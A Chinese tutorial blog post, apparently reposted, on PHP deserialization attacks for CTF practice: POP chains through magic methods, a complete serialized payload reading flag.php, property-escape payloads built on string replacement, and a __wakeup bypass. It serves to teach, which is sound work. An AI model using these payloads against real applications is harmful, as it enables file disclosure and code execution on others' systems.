php反序列化(2)

一.pop链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.

二.poc编写

poc (proof of concept)中文翻译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。编写一段不完整的程序,获取所需的序列化字符串。

来看一下一道反序列化例题

<?phpclass modifier{private $var;                       //注意私有属性只能在里面赋值。public function append($value){    //1include($value);              //include存在文件包含点echo $flag;}public function __invoke(){$this->append($this->var);  //将var赋值包含,flag.php。但是要触发invoke才行。触发invoke需要将对象当做函数调用}}class show{public $source;public $str;public function __tostring(){return $this->str->source; //3 可以发现这里有两次调用,可以同过实例化str为test对象,而test中不存在source}                              //这里又需要tostring,要把对象当字符串,找echo(输出字符串)public function __wakeup(){echo $this->source;     //4 将source实例化成show可以出发tostring,这里又要触发wakeup,反序列化前触发。}
}class test{public $p;public function __construct(){$this->p=array();}public function __get($get){$function = $this->p;return $function();        //2 发现这里有函数调用,所以将$function实例化成对象成modifier,然而这里需要                           //}                              //这里有需要触发get,get需要调用不存在的成员属性(找可以操作的调用)
}if(isset($_GRT['pop'])){unserialize($_GET['pop']);
}
?>

这里我在旁边做了注释,其实就是思路。一般pop链题目比较绕,可以做一些记号让思路更清晰一点。

以上过程明白后就需要构造poc了。获得序列化的字符串,当然可以手敲poc,但容易错且繁杂。

这里我选择直接输出出来。

$mod = new modifier();
$test = new test();
$show = new show();
$test -> p=$mod;
$show ->str=$test;
$show ->source=$show;
echo serialize($show); //获得序列化字符串

注意:这里需要先给modifier类中var赋值 private $var = 'flag.php' ;(私有属性只能在类里面赋值,无法外部引用赋值)

最后传参构造payload:    url(题目路径)?pop=O:4:"show":2:{s:6:"source";r:1;s:3:"str";O:4:"test":1:{s:1:"p";O:8:"modifier":1:{s:13:"%00modifier%00var";s:8:"flag.php";}}}

如果这里不知道为什么加%00请看php反序列化(1)-CSDN博客

上传成功,得到flag. 

正常情况下都是反推过程。

三. 反序列化逃逸

(1)反序列化分隔符

反序列化以 ;}结束,后面的字符串不影响正常的反序列化。

(2)逃逸基础

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

举个例子:

(1)

<?phpclass keep{var $a = "hr";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));
?>

可见反序列化字符串可控。

注意:成员属性不对应和数字个数不对应的话都是不能进行反序列化的。

(2) 

<?phpclass keep{var $a = "hr";var $c = "beauty";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));
?>

a,b是从反序列化中获取的。c是从类中获取的。

(3) 

<?phpclass keep{var $a = "hr";var $c = "beauty";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:3:"hhr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));?>

 a的属性值与反序列化字符串一致。

(4) 格式(字符个数要匹配相依值,几个类就几个,多长就多长)

满足上述的条件后面加的东西并不会影响反序列化,注意长度,也就是前面都没有问题的情况下;}才是结束符。

<?phpclass A{public $v1 = 'a';  }echo serialize(new A());//O:1:"A":1:{s:2:"v1";s:1:"a";}$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}' ;//bool(false)$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}';//正常执行$b = 'O:1:"A":2:{s:22:"v1";s:1:"a";s:2:"v2";N;}';//bool(false)var_dump(unserialize($b));
??
 (3)属性逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间进行反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。

------- 减少

<?phpclass A{public $v1 = "nihaosystem()";public $v2 = "123";
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}
?>

现在 O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}  这个字符串已经不能成功反序列化了(后面格式错误),红色部分已经被吃了(当做了字符串的一部分)。

<?phpclass A{public $v1 = "nihaosystem()";public $v2 = "123";
}$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

以这段代码为例,逃逸一个属性v3值为drama.

先获取了原序列化字符串

"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}" 

构造poc 

//目标 $v3 = "drama";  格式: s:2:"v3";s:5:"drama"; //21个
//一个system()吞8个   ";s:2:"v2";s:3:"123  //19个
"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}"
//payload ";s:2:"v2";s:24:"123 20个
//4个system(),要吞32个 ,最终一共要吞 20个 如果吞多了就在123那补就行,少了就加system(),然后补就行 这里补32-20=12
"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"

成功实现

//"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"
class A{//public $v1 = "nihaosystem()";//public $v2 = "123";public $v1 = "nihaosystem()system()system()system()";public $v2 = '123123123123123";s:2:"v3";s:5:"drama';
}$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump(unserialize($data));

结果

v1 v3从反序列化中来(poc构造语句)v2从类中来

 反序列化字符串逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。

------- 增多

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性。

<?phpclass A{public $v1 = 'ls';public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data))
?>
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

当然是反序列化不出来的,替换过程格使发生错误。

假设想逃逸一个 $v3="zhiyuan";

构造poc

//目标$v3 = "zhiyuan";  格式:s:2:"v3";s:7:"zhiyuan";} 需要;}来终止语句 24个
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}//可以知道一次替换吐一个
//";s:2:"v3";s:7:"zhiyuan";} 这些就是要吐出来的 26个  26*2+26=78
O:1:"A":2:{s:2:"v1";s:78:"lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}";s:2:"v2";s:3:"123";}

赋值执行 

//属性逃逸 -增多
class A{//public $v1 = 'ls';//public $v2 = '123';public $v1 = 'lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}';public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));

结果

 这些数据名与我最近的娱乐活动有关,不知道有没有同道中人,嘿嘿。

wakeup魔术方法绕过(当然还有其他的绕过方式)

版本:(php5<5.6.25)(php7<7.0.10)

如果存在wakeup魔术方法,调用unserialize()之前先调用__wakeup,但是系列化字符串中对象属性个数的值大于真实的属性个数时,会跳过wakeup()的执行。

如果遇到正则表达式过滤数字可考虑用 + 来连接如过滤o后面的数字

可以: o:+5:"nihao";

(4)引用
<?phpinclude("flag.php");
class haha{var $enter;var $secret;
}
if(isset($_GET['pass'])){$pass = $_GET['pass'];$pass = str_replace('*','\*',$pass);
}
$over = unserialize($pass);
if($over){$o->secret ="*";if($over->secret === $o->enter)echo "congratulation!".$flag;elseecho "oh no...";
}
else echo "are you trolling?";
?>

向这种就可以 :

class haha{

    var $enter;

    var $secret;

}

$a = new haha();

$a->enter =&$a->secret;

类似于c语言中的取地址,但c语言中的指针删了内存也删了,php中的引用删了内存不会

四.session反序列化漏洞

 (1)

如:haha|s:6:"123456";

 (2)

(3)php_binary:键名的长度对应的ascll字符+键名+经过serialize()函数序列化处理的值

例子: 

 两个页面,一个衣php_serialize格式保存,一个以php格式读取。

ps.Success is not final, failure is not fatal. It is the courage to continue that counts. 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/811961.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker Entrypoint和CMD同时使用的注意事项

docker镜像同时配置了entrypoint和CMD&#xff0c;entrypoint指定的是某个命令行工具比如salt&#xff0c;CMD指定的是/bin/bash&#xff0c;那么用docker run启动容器时&#xff0c;会发生什么 当Docker镜像同时配置了ENTRYPOINT和CMD时&#xff0c;它们的交互行为如下&#…

Swift中的整型

在Swift中&#xff0c;整型数据指的是包括负数、零和正数在内的整数。整型数据在Swift中有多种数据类型可供选择&#xff0c;具体如下&#xff1a; Int&#xff1a;Int是最常用的整型数据类型&#xff0c;表示带符号的整数。在32位平台上&#xff0c;Int的取值范围是-2,147,48…

不借助第三方工具打包QT程序

准备工作&#xff1a; 项目/可执行文件名&#xff1a;QTAppName 打包项目存放的文件名&#xff1a;pack&#xff08;这个文件名无所谓&#xff09; 脚本名&#xff1a; copylib.sh&#xff08;类似ldd命令&#xff09;&#xff1a;用于将.so库文件的依赖项复制并放入自动生…

vscode远程免密登录ssh

vscode远程免密登录ssh 1. 安装vscode2. 安装ssh3. 本地vscode配置免密登录远端开发机1. 本地配置秘钥2. 远程开发机配置秘钥 4. vscode常用小工具1. vscode怎么设置ctrl加滚轮放大字体 1. 安装vscode 2. 安装ssh 设置符号打开config配置文件&#xff0c;点击符号ssh连接新的远…

4. Django 探究FBV视图

4. 探究FBV视图 视图(Views)是Django的MTV架构模式的V部分, 主要负责处理用户请求和生成相应的响应内容, 然后在页面或其他类型文档中显示. 也可以理解为视图是MVC架构里面的C部分(控制器), 主要处理功能和业务上的逻辑. 我们习惯使用视图函数处理HTTP请求, 即在视图里定义def…

Oracle使用regexp_like报错ORA-12733 正则表达式太长

注&#xff1a;此篇内容并没有解决正则表达式太长的问题。 在命令行窗口连接数据库&#xff1a; >sqlplus username/passwordhostname:port/SID或service_name 其中&#xff1a; username 是你的数据库用户名。 password 是你的数据库密码。 hostname 是数据库服务器的…

利用机器学习库做动态定价策略的例子

动态定价是一个复杂的问题&#xff0c;涉及到市场需求、库存、竞争对手行为、季节性因素等多个变量。在实际应用中&#xff0c;动态定价通常需要复杂的模型和大量的数据分析。我选择使用Python&#xff08;Golearn库&#xff09;进行机器学习模型的训练和部署&#xff0c;而将G…

简述VPS 与 Apache 搭建网站方式对比:新手科普指南

在互联网时代&#xff0c;拥有一个网站对于个人、企业以及组织来说已经成为了必备的一项资源。然而&#xff0c;对于新手来说&#xff0c;如何搭建一个网站可能是一个挑战。在这篇文章中&#xff0c;我将探讨两种常见的搭建网站的方式&#xff1a;使用虚拟专用服务器&#xff0…

A complete evaluation of the Chinese IP geolocation databases(2015年)

下载地址:A Complete Evaluation of the Chinese IP Geolocation Databases | IEEE Conference Publication | IEEE Xplore 被引用次数:12 Li H, He Y, ** R, et al. A complete evaluation of the Chinese IP geolocation databases[C]//2015 8th International Conference…

chatgpt Team 4.0共享合租账号的新方式

为了更好地满足工作需求&#xff0c;我订阅了GPT PLUS会员&#xff0c;但我发现&#xff0c;4.0每三小时问答40次经常吃灰&#xff0c;而且每月近200元的费用让我感到有点肉痛。 于是&#xff0c;我开始寻找有没有什么替代品。在逛某论坛的时候&#xff0c;发现了一个共享Team…

2024年MathorCup数学应用挑战赛A题思路分析

文章目录 题目简介题目背景和重要性题目要求和目标 题目分析和解题思路理解PCI规划的基本原则PCI参考算法 建立数学模型定义决策变量建立目标函数确定约束条件唯一性约束&#xff1a;确保每个小区的PCI在整个网络中是唯一的。 设计优化算法目标函数分析约束条件分析问题规模分析…

ClickHouse 与 MySQL 介绍与比较

ClickHouse 与 MySQL 介绍与比较 一、ClickHouse简介 ClickHouse是由Yandex开发的开源列式数据库管理系统(DBMS)。它是专门为在线分析处理(OLAP)任务设计的&#xff0c;可以使用SQL查询语言处理高速数据。ClickHouse的列式存储方式让它在处理大数据分析任务时表现出卓越的速度…

python抠图程序

import cv2 import numpy as np def color_threshold(image, lower, upper): hsv_image cv2.cvtColor(image, cv2.COLOR_BGR2HSV) mask cv2.inRange(hsv_image, lower, upper) result cv2.bitwise_and(image, image, maskmask) return result # 读取图片…

客户端传日期格式字段(String),服务端接口使用java.util.Date类型接收报错问题

客户端传日期格式字段&#xff08;string&#xff09;,服务端接口使用java.util.Date类型接收报错问题 问题演示第1种&#xff1a;客户端以URL拼接的方式传值第2种&#xff1a;客户端以body中的form-data方式提交第3种 客户端以Body中的json方式提交 问题解决&#xff08;全局解…

softmax回归:多分类问题的解码器

随着人工智能技术的不断发展&#xff0c;分类问题在机器学习领域中的地位日益凸显。在众多分类算法中&#xff0c;softmax回归以其独特的优势和广泛的应用场景&#xff0c;成为了处理多分类问题的有力工具。本文将深入探讨softmax回归的原理、应用及其优缺点&#xff0c;以期为…

【24届数字IC秋招总结】提前批面试经验1——小米、百度昆仑芯、长鑫存储

文章目录 前言一、小米-SOC验证工程师1.1 面试问题二、百度昆仑芯-芯片验证工程师2.1 一面面试问题2.2 二面面试问题三、长鑫存储-数字电路前言 提前批面试公司:小米、百度昆仑芯、长鑫存储 一、小米-SOC验证工程师 面试时间:7.23 周末 1.1 面试问题 1、 问研究生项目,自…

【Django】必须登陆才能访问功能实现

一、直接使用session传递登录状态(不推荐&#xff0c;但能用) 这是最简单、最直接的方法。 1.登录视图添加标识 添加登录状态标识 request.session[is_logged_in] False def user_login(request):# 这是一个登录状态标识request.session[is_logged_in] Falseif request.…

pytorch-多分类实战之手写数字识别

目录 1. 网络设计2. 代码实现2.1 网络代码2.2 train 3. 完整代码 1. 网络设计 输入是手写数字图片28x28&#xff0c;输出是10个分类0~9&#xff0c;有两个隐藏层&#xff0c;如下图所示&#xff1a; 2. 代码实现 2.1 网络代码 第一层将784降维到200&#xff0c;第二次使用…

oracle表误删恢复

update误更新表恢复&#xff1a; UPDATE sysuser a SET dept(SELECT jjxm FROM z_temp20190313 b WHERE b.sbbma.dept) WHERE useful1 AND dept IS NOT NULL 查询sysuser表最后dml操作时间&#xff1a; select max(ora_rowscn),to_char(scn_to_timestamp(max(ora_rowscn)),y…

以Centos7为例,监控SSD硬盘的I/O性能,分析硬盘的读写数据

监控SSD硬盘的I/O性能可以通过多种工具和命令来实现。在CentOS 7系统中&#xff0c;以下是一些常用的方法来监控SSD的I/O性能&#xff1a; 使用iostat命令&#xff1a; iostat是sysstat包的一部分&#xff0c;可以报告CPU统计信息和所有块设备的I/O统计信息。要安装sysstat包&a…